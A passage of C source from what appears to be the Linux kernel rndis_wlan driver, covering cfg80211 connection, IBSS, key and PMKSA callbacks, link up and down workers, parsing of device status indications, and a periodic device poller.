netdev_dbg(usbdev->net, "connect: set_bssid failed, %d\n",
ret);
goto err_turn_radio_on;
}
} else
clear_bssid(usbdev);
length = sme->ssid_len;
if (length > NDIS_802_11_LENGTH_SSID)
length = NDIS_802_11_LENGTH_SSID;
memset(&ssid, 0, sizeof(ssid));
ssid.length = cpu_to_le32(length);
memcpy(ssid.essid, sme->ssid, length);
/* Pause and purge rx queue, so we don't pass packets before
* 'media connect'-indication.
*/
usbnet_pause_rx(usbdev);
usbnet_purge_paused_rxq(usbdev);
ret = set_essid(usbdev, &ssid);
if (ret < 0)
netdev_dbg(usbdev->net, "connect: set_essid failed, %d\n", ret);
return ret;
err_turn_radio_on:
disassociate(usbdev, true);
return ret;
}
static int rndis_disconnect(struct wiphy *wiphy, struct net_device *dev,
u16 reason_code)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
netdev_dbg(usbdev->net, "cfg80211.disconnect(%d)\n", reason_code);
priv->connected = false;
memset(priv->bssid, 0, ETH_ALEN);
return deauthenticate(usbdev);
}
static int rndis_join_ibss(struct wiphy *wiphy, struct net_device *dev,
struct cfg80211_ibss_params *params)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
struct ieee80211_channel *channel = params->channel;
struct ndis_80211_ssid ssid;
enum nl80211_auth_type auth_type;
int ret, alg, length, chan = -1;
if (channel)
chan = ieee80211_frequency_to_channel(channel->center_freq);
/* TODO: How to handle ad-hoc encryption?
* connect() has *key, join_ibss() doesn't. RNDIS requires key to be
* pre-shared for encryption (open/shared/wpa), is key set before
* join_ibss? Which auth_type to use (not in params)? What about WPA?
*/
if (params->privacy) {
auth_type = NL80211_AUTHTYPE_SHARED_KEY;
alg = RNDIS_WLAN_ALG_WEP;
} else {
auth_type = NL80211_AUTHTYPE_OPEN_SYSTEM;
alg = RNDIS_WLAN_ALG_NONE;
}
netdev_dbg(usbdev->net, "cfg80211.join_ibss('%.32s':[%pM]:%d:%d)\n",
params->ssid, params->bssid, chan, params->privacy);
if (is_associated(usbdev))
disassociate(usbdev, false);
ret = set_infra_mode(usbdev, NDIS_80211_INFRA_ADHOC);
if (ret < 0) {
netdev_dbg(usbdev->net, "join_ibss: set_infra_mode failed, %d\n",
ret);
goto err_turn_radio_on;
}
ret = set_auth_mode(usbdev, 0, auth_type, RNDIS_WLAN_KEY_MGMT_NONE);
if (ret < 0) {
netdev_dbg(usbdev->net, "join_ibss: set_auth_mode failed, %d\n",
ret);
goto err_turn_radio_on;
}
set_priv_filter(usbdev);
ret = set_encr_mode(usbdev, alg, RNDIS_WLAN_ALG_NONE);
if (ret < 0) {
netdev_dbg(usbdev->net, "join_ibss: set_encr_mode failed, %d\n",
ret);
goto err_turn_radio_on;
}
if (channel) {
ret = set_channel(usbdev, chan);
if (ret < 0) {
netdev_dbg(usbdev->net, "join_ibss: set_channel failed, %d\n",
ret);
goto err_turn_radio_on;
}
}
if (params->bssid && !is_zero_ether_addr(params->bssid) &&
!is_broadcast_ether_addr(params->bssid)) {
ret = set_bssid(usbdev, params->bssid);
if (ret < 0) {
netdev_dbg(usbdev->net, "join_ibss: set_bssid failed, %d\n",
ret);
goto err_turn_radio_on;
}
} else
clear_bssid(usbdev);
length = params->ssid_len;
if (length > NDIS_802_11_LENGTH_SSID)
length = NDIS_802_11_LENGTH_SSID;
memset(&ssid, 0, sizeof(ssid));
ssid.length = cpu_to_le32(length);
memcpy(ssid.essid, params->ssid, length);
/* Don't need to pause rx queue for ad-hoc. */
usbnet_purge_paused_rxq(usbdev);
usbnet_resume_rx(usbdev);
ret = set_essid(usbdev, &ssid);
if (ret < 0)
netdev_dbg(usbdev->net, "join_ibss: set_essid failed, %d\n",
ret);
return ret;
err_turn_radio_on:
disassociate(usbdev, true);
return ret;
}
static int rndis_leave_ibss(struct wiphy *wiphy, struct net_device *dev)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
netdev_dbg(usbdev->net, "cfg80211.leave_ibss()\n");
priv->connected = false;
memset(priv->bssid, 0, ETH_ALEN);
return deauthenticate(usbdev);
}
static int rndis_set_channel(struct wiphy *wiphy, struct net_device *netdev,
struct ieee80211_channel *chan, enum nl80211_channel_type channel_type)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
return set_channel(usbdev,
ieee80211_frequency_to_channel(chan->center_freq));
}
static int rndis_add_key(struct wiphy *wiphy, struct net_device *netdev,
u8 key_index, bool pairwise, const u8 *mac_addr,
struct key_params *params)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
__le32 flags;
netdev_dbg(usbdev->net, "%s(%i, %pM, %08x)\n",
__func__, key_index, mac_addr, params->cipher);
switch (params->cipher) {
case WLAN_CIPHER_SUITE_WEP40:
case WLAN_CIPHER_SUITE_WEP104:
return add_wep_key(usbdev, params->key, params->key_len,
key_index);
case WLAN_CIPHER_SUITE_TKIP:
case WLAN_CIPHER_SUITE_CCMP:
flags = 0;
if (params->seq && params->seq_len > 0)
flags |= NDIS_80211_ADDKEY_SET_INIT_RECV_SEQ;
if (mac_addr)
flags |= NDIS_80211_ADDKEY_PAIRWISE_KEY |
NDIS_80211_ADDKEY_TRANSMIT_KEY;
return add_wpa_key(usbdev, params->key, params->key_len,
key_index, mac_addr, params->seq,
params->seq_len, params->cipher, flags);
default:
netdev_dbg(usbdev->net, "%s(): unsupported cipher %08x\n",
__func__, params->cipher);
return -ENOTSUPP;
}
}
static int rndis_del_key(struct wiphy *wiphy, struct net_device *netdev,
u8 key_index, bool pairwise, const u8 *mac_addr)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
netdev_dbg(usbdev->net, "%s(%i, %pM)\n", __func__, key_index, mac_addr);
return remove_key(usbdev, key_index, mac_addr);
}
static int rndis_set_default_key(struct wiphy *wiphy, struct net_device *netdev,
u8 key_index, bool unicast, bool multicast)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
struct rndis_wlan_encr_key key;
netdev_dbg(usbdev->net, "%s(%i)\n", __func__, key_index);
if (key_index >= RNDIS_WLAN_NUM_KEYS)
return -ENOENT;
priv->encr_tx_key_index = key_index;
if (is_wpa_key(priv, key_index))
return 0;
key = priv->encr_keys[key_index];
return add_wep_key(usbdev, key.material, key.len, key_index);
}
static void rndis_fill_station_info(struct usbnet *usbdev,
struct station_info *sinfo)
{
__le32 linkspeed, rssi;
int ret, len;
memset(sinfo, 0, sizeof(*sinfo));
len = sizeof(linkspeed);
ret = rndis_query_oid(usbdev, OID_GEN_LINK_SPEED, &linkspeed, &len);
if (ret == 0) {
sinfo->txrate.legacy = le32_to_cpu(linkspeed) / 1000;
sinfo->filled |= STATION_INFO_TX_BITRATE;
}
len = sizeof(rssi);
ret = rndis_query_oid(usbdev, OID_802_11_RSSI, &rssi, &len);
if (ret == 0) {
sinfo->signal = level_to_qual(le32_to_cpu(rssi));
sinfo->filled |= STATION_INFO_SIGNAL;
}
}
static int rndis_get_station(struct wiphy *wiphy, struct net_device *dev,
u8 *mac, struct station_info *sinfo)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
if (compare_ether_addr(priv->bssid, mac))
return -ENOENT;
rndis_fill_station_info(usbdev, sinfo);
return 0;
}
static int rndis_dump_station(struct wiphy *wiphy, struct net_device *dev,
int idx, u8 *mac, struct station_info *sinfo)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
if (idx != 0)
return -ENOENT;
memcpy(mac, priv->bssid, ETH_ALEN);
rndis_fill_station_info(usbdev, sinfo);
return 0;
}
static int rndis_set_pmksa(struct wiphy *wiphy, struct net_device *netdev,
struct cfg80211_pmksa *pmksa)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
struct ndis_80211_pmkid *pmkids;
u32 *tmp = (u32 *)pmksa->pmkid;
netdev_dbg(usbdev->net, "%s(%pM, %08X:%08X:%08X:%08X)\n", __func__,
pmksa->bssid,
cpu_to_be32(tmp[0]), cpu_to_be32(tmp[1]),
cpu_to_be32(tmp[2]), cpu_to_be32(tmp[3]));
pmkids = get_device_pmkids(usbdev);
if (IS_ERR(pmkids)) {
/* couldn't read PMKID cache from device */
return PTR_ERR(pmkids);
}
pmkids = update_pmkid(usbdev, pmkids, pmksa, wiphy->max_num_pmkids);
if (IS_ERR(pmkids)) {
/* not found, list full, etc */
return PTR_ERR(pmkids);
}
return set_device_pmkids(usbdev, pmkids);
}
static int rndis_del_pmksa(struct wiphy *wiphy, struct net_device *netdev,
struct cfg80211_pmksa *pmksa)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
struct ndis_80211_pmkid *pmkids;
u32 *tmp = (u32 *)pmksa->pmkid;
netdev_dbg(usbdev->net, "%s(%pM, %08X:%08X:%08X:%08X)\n", __func__,
pmksa->bssid,
cpu_to_be32(tmp[0]), cpu_to_be32(tmp[1]),
cpu_to_be32(tmp[2]), cpu_to_be32(tmp[3]));
pmkids = get_device_pmkids(usbdev);
if (IS_ERR(pmkids)) {
/* Couldn't read PMKID cache from device */
return PTR_ERR(pmkids);
}
pmkids = remove_pmkid(usbdev, pmkids, pmksa, wiphy->max_num_pmkids);
if (IS_ERR(pmkids)) {
/* not found, etc */
return PTR_ERR(pmkids);
}
return set_device_pmkids(usbdev, pmkids);
}
static int rndis_flush_pmksa(struct wiphy *wiphy, struct net_device *netdev)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
struct ndis_80211_pmkid pmkid;
netdev_dbg(usbdev->net, "%s()\n", __func__);
memset(&pmkid, 0, sizeof(pmkid));
pmkid.length = cpu_to_le32(sizeof(pmkid));
pmkid.bssid_info_count = cpu_to_le32(0);
return rndis_set_oid(usbdev, OID_802_11_PMKID, &pmkid, sizeof(pmkid));
}
static int rndis_set_power_mgmt(struct wiphy *wiphy, struct net_device *dev,
bool enabled, int timeout)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
int power_mode;
__le32 mode;
int ret;
if (priv->device_type != RNDIS_BCM4320B)
return -ENOTSUPP;
netdev_dbg(usbdev->net, "%s(): %s, %d\n", __func__,
enabled ? "enabled" : "disabled",
timeout);
if (enabled)
power_mode = NDIS_80211_POWER_MODE_FAST_PSP;
else
power_mode = NDIS_80211_POWER_MODE_CAM;
if (power_mode == priv->power_mode)
return 0;
priv->power_mode = power_mode;
mode = cpu_to_le32(power_mode);
ret = rndis_set_oid(usbdev, OID_802_11_POWER_MODE, &mode, sizeof(mode));
netdev_dbg(usbdev->net, "%s(): OID_802_11_POWER_MODE -> %d\n",
__func__, ret);
return ret;
}
static int rndis_set_cqm_rssi_config(struct wiphy *wiphy,
struct net_device *dev,
s32 rssi_thold, u32 rssi_hyst)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
priv->cqm_rssi_thold = rssi_thold;
priv->cqm_rssi_hyst = rssi_hyst;
priv->last_cqm_event_rssi = 0;
return 0;
}
static void rndis_wlan_craft_connected_bss(struct usbnet *usbdev, u8 *bssid,
struct ndis_80211_assoc_info *info)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ieee80211_channel *channel;
struct ndis_80211_conf config;
struct ndis_80211_ssid ssid;
struct cfg80211_bss *bss;
s32 signal;
u64 timestamp;
u16 capability;
u16 beacon_interval;
__le32 rssi;
u8 ie_buf[34];
int len, ret, ie_len;
/* Get signal quality, in case of error use rssi=0 and ignore error. */
len = sizeof(rssi);
rssi = 0;
ret = rndis_query_oid(usbdev, OID_802_11_RSSI, &rssi, &len);
signal = level_to_qual(le32_to_cpu(rssi));
netdev_dbg(usbdev->net, "%s(): OID_802_11_RSSI -> %d, "
"rssi:%d, qual: %d\n", __func__, ret, le32_to_cpu(rssi),
level_to_qual(le32_to_cpu(rssi)));
/* Get AP capabilities */
if (info) {
capability = le16_to_cpu(info->resp_ie.capa);
} else {
/* Set atleast ESS/IBSS capability */
capability = (priv->infra_mode == NDIS_80211_INFRA_INFRA) ?
WLAN_CAPABILITY_ESS : WLAN_CAPABILITY_IBSS;
}
/* Get channel and beacon interval */
len = sizeof(config);
ret = rndis_query_oid(usbdev, OID_802_11_CONFIGURATION, &config, &len);
netdev_dbg(usbdev->net, "%s(): OID_802_11_CONFIGURATION -> %d\n",
__func__, ret);
if (ret >= 0) {
beacon_interval = le16_to_cpu(config.beacon_period);
channel = ieee80211_get_channel(priv->wdev.wiphy,
KHZ_TO_MHZ(le32_to_cpu(config.ds_config)));
if (!channel) {
netdev_warn(usbdev->net, "%s(): could not get channel."
"\n", __func__);
return;
}
} else {
netdev_warn(usbdev->net, "%s(): could not get configuration.\n",
__func__);
return;
}
/* Get SSID, in case of error, use zero length SSID and ignore error. */
len = sizeof(ssid);
memset(&ssid, 0, sizeof(ssid));
ret = rndis_query_oid(usbdev, OID_802_11_SSID, &ssid, &len);
netdev_dbg(usbdev->net, "%s(): OID_802_11_SSID -> %d, len: %d, ssid: "
"'%.32s'\n", __func__, ret,
le32_to_cpu(ssid.length), ssid.essid);
if (le32_to_cpu(ssid.length) > 32)
ssid.length = cpu_to_le32(32);
ie_buf[0] = WLAN_EID_SSID;
ie_buf[1] = le32_to_cpu(ssid.length);
memcpy(&ie_buf[2], ssid.essid, le32_to_cpu(ssid.length));
ie_len = le32_to_cpu(ssid.length) + 2;
/* no tsf */
timestamp = 0;
netdev_dbg(usbdev->net, "%s(): channel:%d(freq), bssid:[%pM], tsf:%d, "
"capa:%x, beacon int:%d, resp_ie(len:%d, essid:'%.32s'), "
"signal:%d\n", __func__, (channel ? channel->center_freq : -1),
bssid, (u32)timestamp, capability, beacon_interval, ie_len,
ssid.essid, signal);
bss = cfg80211_inform_bss(priv->wdev.wiphy, channel, bssid,
timestamp, capability, beacon_interval, ie_buf, ie_len,
signal, GFP_KERNEL);
cfg80211_put_bss(bss);
}
/*
* workers, indication handlers, device poller
*/
static void rndis_wlan_do_link_up_work(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ndis_80211_assoc_info *info = NULL;
u8 bssid[ETH_ALEN];
int resp_ie_len, req_ie_len;
u8 *req_ie, *resp_ie;
int ret, offset;
bool roamed = false;
bool match_bss;
if (priv->infra_mode == NDIS_80211_INFRA_INFRA && priv->connected) {
/* received media connect indication while connected, either
* device reassociated with same AP or roamed to new. */
roamed = true;
}
req_ie_len = 0;
resp_ie_len = 0;
req_ie = NULL;
resp_ie = NULL;
if (priv->infra_mode == NDIS_80211_INFRA_INFRA) {
info = kzalloc(CONTROL_BUFFER_SIZE, GFP_KERNEL);
if (!info) {
/* No memory? Try resume work later */
set_bit(WORK_LINK_UP, &priv->work_pending);
queue_work(priv->workqueue, &priv->work);
return;
}
/* Get association info IEs from device. */
ret = get_association_info(usbdev, info, CONTROL_BUFFER_SIZE);
if (!ret) {
req_ie_len = le32_to_cpu(info->req_ie_length);
if (req_ie_len > 0) {
offset = le32_to_cpu(info->offset_req_ies);
if (offset > CONTROL_BUFFER_SIZE)
offset = CONTROL_BUFFER_SIZE;
req_ie = (u8 *)info + offset;
if (offset + req_ie_len > CONTROL_BUFFER_SIZE)
req_ie_len =
CONTROL_BUFFER_SIZE - offset;
}
resp_ie_len = le32_to_cpu(info->resp_ie_length);
if (resp_ie_len > 0) {
offset = le32_to_cpu(info->offset_resp_ies);
if (offset > CONTROL_BUFFER_SIZE)
offset = CONTROL_BUFFER_SIZE;
resp_ie = (u8 *)info + offset;
if (offset + resp_ie_len > CONTROL_BUFFER_SIZE)
resp_ie_len =
CONTROL_BUFFER_SIZE - offset;
}
} else {
/* Since rndis_wlan_craft_connected_bss() might use info
* later and expects info to contain valid data if
* non-null, free info and set NULL here.
*/
kfree(info);
info = NULL;
}
} else if (WARN_ON(priv->infra_mode != NDIS_80211_INFRA_ADHOC))
return;
ret = get_bssid(usbdev, bssid);
if (ret < 0)
memset(bssid, 0, sizeof(bssid));
netdev_dbg(usbdev->net, "link up work: [%pM]%s\n",
bssid, roamed ? " roamed" : "");
/* Internal bss list in device should contain at least the currently
* connected bss and we can get it to cfg80211 with
* rndis_check_bssid_list().
*
* NDIS spec says: "If the device is associated, but the associated
* BSSID is not in its BSSID scan list, then the driver must add an
* entry for the BSSID at the end of the data that it returns in
* response to query of OID_802_11_BSSID_LIST."
*
* NOTE: Seems to be true for BCM4320b variant, but not BCM4320a.
*/
match_bss = false;
rndis_check_bssid_list(usbdev, bssid, &match_bss);
if (!is_zero_ether_addr(bssid) && !match_bss) {
/* Couldn't get bss from device, we need to manually craft bss
* for cfg80211.
*/
rndis_wlan_craft_connected_bss(usbdev, bssid, info);
}
if (priv->infra_mode == NDIS_80211_INFRA_INFRA) {
if (!roamed)
cfg80211_connect_result(usbdev->net, bssid, req_ie,
req_ie_len, resp_ie,
resp_ie_len, 0, GFP_KERNEL);
else
cfg80211_roamed(usbdev->net, NULL, bssid,
req_ie, req_ie_len,
resp_ie, resp_ie_len, GFP_KERNEL);
} else if (priv->infra_mode == NDIS_80211_INFRA_ADHOC)
cfg80211_ibss_joined(usbdev->net, bssid, GFP_KERNEL);
if (info != NULL)
kfree(info);
priv->connected = true;
memcpy(priv->bssid, bssid, ETH_ALEN);
usbnet_resume_rx(usbdev);
netif_carrier_on(usbdev->net);
}
static void rndis_wlan_do_link_down_work(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
if (priv->connected) {
priv->connected = false;
memset(priv->bssid, 0, ETH_ALEN);
deauthenticate(usbdev);
cfg80211_disconnected(usbdev->net, 0, NULL, 0, GFP_KERNEL);
}
netif_carrier_off(usbdev->net);
}
static void rndis_wlan_worker(struct work_struct *work)
{
struct rndis_wlan_private *priv =
container_of(work, struct rndis_wlan_private, work);
struct usbnet *usbdev = priv->usbdev;
if (test_and_clear_bit(WORK_LINK_UP, &priv->work_pending))
rndis_wlan_do_link_up_work(usbdev);
if (test_and_clear_bit(WORK_LINK_DOWN, &priv->work_pending))
rndis_wlan_do_link_down_work(usbdev);
if (test_and_clear_bit(WORK_SET_MULTICAST_LIST, &priv->work_pending))
set_multicast_list(usbdev);
}
static void rndis_wlan_set_multicast_list(struct net_device *dev)
{
struct usbnet *usbdev = netdev_priv(dev);
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
if (test_bit(WORK_SET_MULTICAST_LIST, &priv->work_pending))
return;
set_bit(WORK_SET_MULTICAST_LIST, &priv->work_pending);
queue_work(priv->workqueue, &priv->work);
}
static void rndis_wlan_auth_indication(struct usbnet *usbdev,
struct ndis_80211_status_indication *indication,
int len)
{
u8 *buf;
const char *type;
int flags, buflen, key_id;
bool pairwise_error, group_error;
struct ndis_80211_auth_request *auth_req;
enum nl80211_key_type key_type;
/* must have at least one array entry */
if (len < offsetof(struct ndis_80211_status_indication, u) +
sizeof(struct ndis_80211_auth_request)) {
netdev_info(usbdev->net, "authentication indication: too short message (%i)\n",
len);
return;
}
buf = (void *)&indication->u.auth_request[0];
buflen = len - offsetof(struct ndis_80211_status_indication, u);
while (buflen >= sizeof(*auth_req)) {
auth_req = (void *)buf;
type = "unknown";
flags = le32_to_cpu(auth_req->flags);
pairwise_error = false;
group_error = false;
if (flags & 0x1)
type = "reauth request";
if (flags & 0x2)
type = "key update request";
if (flags & 0x6) {
pairwise_error = true;
type = "pairwise_error";
}
if (flags & 0xe) {
group_error = true;
type = "group_error";
}
netdev_info(usbdev->net, "authentication indication: %s (0x%08x)\n",
type, le32_to_cpu(auth_req->flags));
if (pairwise_error) {
key_type = NL80211_KEYTYPE_PAIRWISE;
key_id = -1;
cfg80211_michael_mic_failure(usbdev->net,
auth_req->bssid,
key_type, key_id, NULL,
GFP_KERNEL);
}
if (group_error) {
key_type = NL80211_KEYTYPE_GROUP;
key_id = -1;
cfg80211_michael_mic_failure(usbdev->net,
auth_req->bssid,
key_type, key_id, NULL,
GFP_KERNEL);
}
buflen -= le32_to_cpu(auth_req->length);
buf += le32_to_cpu(auth_req->length);
}
}
static void rndis_wlan_pmkid_cand_list_indication(struct usbnet *usbdev,
struct ndis_80211_status_indication *indication,
int len)
{
struct ndis_80211_pmkid_cand_list *cand_list;
int list_len, expected_len, i;
if (len < offsetof(struct ndis_80211_status_indication, u) +
sizeof(struct ndis_80211_pmkid_cand_list)) {
netdev_info(usbdev->net, "pmkid candidate list indication: too short message (%i)\n",
len);
return;
}
list_len = le32_to_cpu(indication->u.cand_list.num_candidates) *
sizeof(struct ndis_80211_pmkid_candidate);
expected_len = sizeof(struct ndis_80211_pmkid_cand_list) + list_len +
offsetof(struct ndis_80211_status_indication, u);
if (len < expected_len) {
netdev_info(usbdev->net, "pmkid candidate list indication: list larger than buffer (%i < %i)\n",
len, expected_len);
return;
}
cand_list = &indication->u.cand_list;
netdev_info(usbdev->net, "pmkid candidate list indication: version %i, candidates %i\n",
le32_to_cpu(cand_list->version),
le32_to_cpu(cand_list->num_candidates));
if (le32_to_cpu(cand_list->version) != 1)
return;
for (i = 0; i < le32_to_cpu(cand_list->num_candidates); i++) {
struct ndis_80211_pmkid_candidate *cand =
&cand_list->candidate_list[i];
netdev_dbg(usbdev->net, "cand[%i]: flags: 0x%08x, bssid: %pM\n",
i, le32_to_cpu(cand->flags), cand->bssid);
#if 0
struct iw_pmkid_cand pcand;
union iwreq_data wrqu;
memset(&pcand, 0, sizeof(pcand));
if (le32_to_cpu(cand->flags) & 0x01)
pcand.flags |= IW_PMKID_CAND_PREAUTH;
pcand.index = i;
memcpy(pcand.bssid.sa_data, cand->bssid, ETH_ALEN);
memset(&wrqu, 0, sizeof(wrqu));
wrqu.data.length = sizeof(pcand);
wireless_send_event(usbdev->net, IWEVPMKIDCAND, &wrqu,
(u8 *)&pcand);
#endif
}
}
static void rndis_wlan_media_specific_indication(struct usbnet *usbdev,
struct rndis_indicate *msg, int buflen)
{
struct ndis_80211_status_indication *indication;
int len, offset;
offset = offsetof(struct rndis_indicate, status) +
le32_to_cpu(msg->offset);
len = le32_to_cpu(msg->length);
if (len < 8) {
netdev_info(usbdev->net, "media specific indication, ignore too short message (%i < 8)\n",
len);
return;
}
if (offset + len > buflen) {
netdev_info(usbdev->net, "media specific indication, too large to fit to buffer (%i > %i)\n",
offset + len, buflen);
return;
}
indication = (void *)((u8 *)msg + offset);
switch (le32_to_cpu(indication->status_type)) {
case NDIS_80211_STATUSTYPE_RADIOSTATE:
netdev_info(usbdev->net, "radio state indication: %i\n",
le32_to_cpu(indication->u.radio_status));
return;
case NDIS_80211_STATUSTYPE_MEDIASTREAMMODE:
netdev_info(usbdev->net, "media stream mode indication: %i\n",
le32_to_cpu(indication->u.media_stream_mode));
return;
case NDIS_80211_STATUSTYPE_AUTHENTICATION:
rndis_wlan_auth_indication(usbdev, indication, len);
return;
case NDIS_80211_STATUSTYPE_PMKID_CANDIDATELIST:
rndis_wlan_pmkid_cand_list_indication(usbdev, indication, len);
return;
default:
netdev_info(usbdev->net, "media specific indication: unknown status type 0x%08x\n",
le32_to_cpu(indication->status_type));
}
}
static void rndis_wlan_indication(struct usbnet *usbdev, void *ind, int buflen)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct rndis_indicate *msg = ind;
switch (msg->status) {
case RNDIS_STATUS_MEDIA_CONNECT:
if (priv->current_command_oid == OID_802_11_ADD_KEY) {
/* OID_802_11_ADD_KEY causes sometimes extra
* "media connect" indications which confuses driver
* and userspace to think that device is
* roaming/reassociating when it isn't.
*/
netdev_dbg(usbdev->net, "ignored OID_802_11_ADD_KEY triggered 'media connect'\n");
return;
}
usbnet_pause_rx(usbdev);
netdev_info(usbdev->net, "media connect\n");
/* queue work to avoid recursive calls into rndis_command */
set_bit(WORK_LINK_UP, &priv->work_pending);
queue_work(priv->workqueue, &priv->work);
break;
case RNDIS_STATUS_MEDIA_DISCONNECT:
netdev_info(usbdev->net, "media disconnect\n");
/* queue work to avoid recursive calls into rndis_command */
set_bit(WORK_LINK_DOWN, &priv->work_pending);
queue_work(priv->workqueue, &priv->work);
break;
case RNDIS_STATUS_MEDIA_SPECIFIC_INDICATION:
rndis_wlan_media_specific_indication(usbdev, msg, buflen);
break;
default:
netdev_info(usbdev->net, "indication: 0x%08x\n",
le32_to_cpu(msg->status));
break;
}
}
static int rndis_wlan_get_caps(struct usbnet *usbdev, struct wiphy *wiphy)
{
struct {
__le32 num_items;
__le32 items[8];
} networks_supported;
struct ndis_80211_capability *caps;
u8 caps_buf[sizeof(*caps) + sizeof(caps->auth_encr_pair) * 16];
int len, retval, i, n;
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
/* determine supported modes */
len = sizeof(networks_supported);
retval = rndis_query_oid(usbdev, OID_802_11_NETWORK_TYPES_SUPPORTED,
&networks_supported, &len);
if (retval >= 0) {
n = le32_to_cpu(networks_supported.num_items);
if (n > 8)
n = 8;
for (i = 0; i < n; i++) {
switch (le32_to_cpu(networks_supported.items[i])) {
case NDIS_80211_TYPE_FREQ_HOP:
case NDIS_80211_TYPE_DIRECT_SEQ:
priv->caps |= CAP_MODE_80211B;
break;
case NDIS_80211_TYPE_OFDM_A:
priv->caps |= CAP_MODE_80211A;
break;
case NDIS_80211_TYPE_OFDM_G:
priv->caps |= CAP_MODE_80211G;
break;
}
}
}
/* get device 802.11 capabilities, number of PMKIDs */
caps = (struct ndis_80211_capability *)caps_buf;
len = sizeof(caps_buf);
retval = rndis_query_oid(usbdev, OID_802_11_CAPABILITY, caps, &len);
if (retval >= 0) {
netdev_dbg(usbdev->net, "OID_802_11_CAPABILITY -> len %d, "
"ver %d, pmkids %d, auth-encr-pairs %d\n",
le32_to_cpu(caps->length),
le32_to_cpu(caps->version),
le32_to_cpu(caps->num_pmkids),
le32_to_cpu(caps->num_auth_encr_pair));
wiphy->max_num_pmkids = le32_to_cpu(caps->num_pmkids);
} else
wiphy->max_num_pmkids = 0;
return retval;
}
static void rndis_do_cqm(struct usbnet *usbdev, s32 rssi)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
enum nl80211_cqm_rssi_threshold_event event;
int thold, hyst, last_event;
if (priv->cqm_rssi_thold >= 0 || rssi >= 0)
return;
if (priv->infra_mode != NDIS_80211_INFRA_INFRA)
return;
last_event = priv->last_cqm_event_rssi;
thold = priv->cqm_rssi_thold;
hyst = priv->cqm_rssi_hyst;
if (rssi < thold && (last_event == 0 || rssi < last_event - hyst))
event = NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW;
else if (rssi > thold && (last_event == 0 || rssi > last_event + hyst))
event = NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH;
else
return;
priv->last_cqm_event_rssi = rssi;
cfg80211_cqm_rssi_notify(usbdev->net, event, GFP_KERNEL);
}
#define DEVICE_POLLER_JIFFIES (HZ)
static void rndis_device_poller(struct work_struct *work)
{
struct rndis_wlan_private *priv =
container_of(work, struct rndis_wlan_private,
dev_poller_work.work);
struct usbnet *usbdev = priv->usbdev;
__le32 rssi, tmp;
int len, ret, j;
int update_jiffies = DEVICE_POLLER_JIFFIES;
void *buf;
/* Only check/do workaround when connected. Calling is_associated()
* also polls device with rndis_command() and catches for media link
* indications.
*/
if (!is_associated(usbdev)) {
/* Workaround bad scanning in BCM4320a devices with active
* background scanning when not associated.
*/
if (priv->device_type == RNDIS_BCM4320A && priv->radio_on &&
!priv->scan_request) {
/* Get previous scan results */
rndis_check_bssid_list(usbdev, NULL, NULL);
/* Initiate new scan */
rndis_start_bssid_list_scan(usbdev);
}
goto end;
}
len = sizeof(rssi);
ret = rndis_query_oid(usbdev, OID_802_11_RSSI, &rssi, &len);
if (ret == 0) {
priv->last_qual = level_to_qual(le32_to_cpu(rssi));
rndis_do_cqm(usbdev, le32_to_cpu(rssi));
}
netdev_dbg(usbdev->net, "dev-poller: OID_802_11_RSSI -> %d, rssi:%d, qual: %d\n",
ret, le32_to_cpu(rssi), level_to_qual(le32_to_cpu(rssi)));
/* Workaround transfer stalls on poor quality links.
* TODO: find right way to fix these stalls (as stalls do not happen
* with ndiswrapper/windows driver). */
if (priv->param_workaround_interval > 0 && priv->last_qual <= 25) {
/* Decrease stats worker interval to catch stalls.
* faster. Faster than 400-500ms causes packet loss,
* Slower doesn't catch stalls fast enough.
*/
j = msecs_to_jiffies(priv->param_workaround_interval);
if (j > DEVICE_POLLER_JIFFIES)
j = DEVICE_POLLER_JIFFIES;
else if (j <= 0)
j = 1;
update_jiffies = j;
/* Send scan OID. Use of both OIDs is required to get device
* working.
*/
tmp = cpu_to_le32(1);
rndis_set_oid(usbdev, OID_802_11_BSSID_LIST_SCAN, &tmp,
sizeof(tmp));
len = CONTROL_BUFFER_SIZE;
buf = kmalloc(len, GFP_KERNEL);
if (!buf)
goto end;
rndis_query_oid(usbdev, OID_802_11_BSSID_LIST, buf, &len);
kfree(buf);
}
end:
if (update_jiffies >= HZ)
update_jiffies = round_jiffies_relative(update_jiffies);
else {
j = round_jiffies_relative(update_jiffies);
if (abs(j - update_jiffies) <= 10)
update_jiffies = j;
}
queue_delayed_work(priv->workqueue, &priv->dev_poller_work,
update_jiffies);
}
/*
* driver/device initialization
*/
static void rndis_copy_module_params(struct usbnet *usbdev, int device_type)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
priv->device_type = device_type;
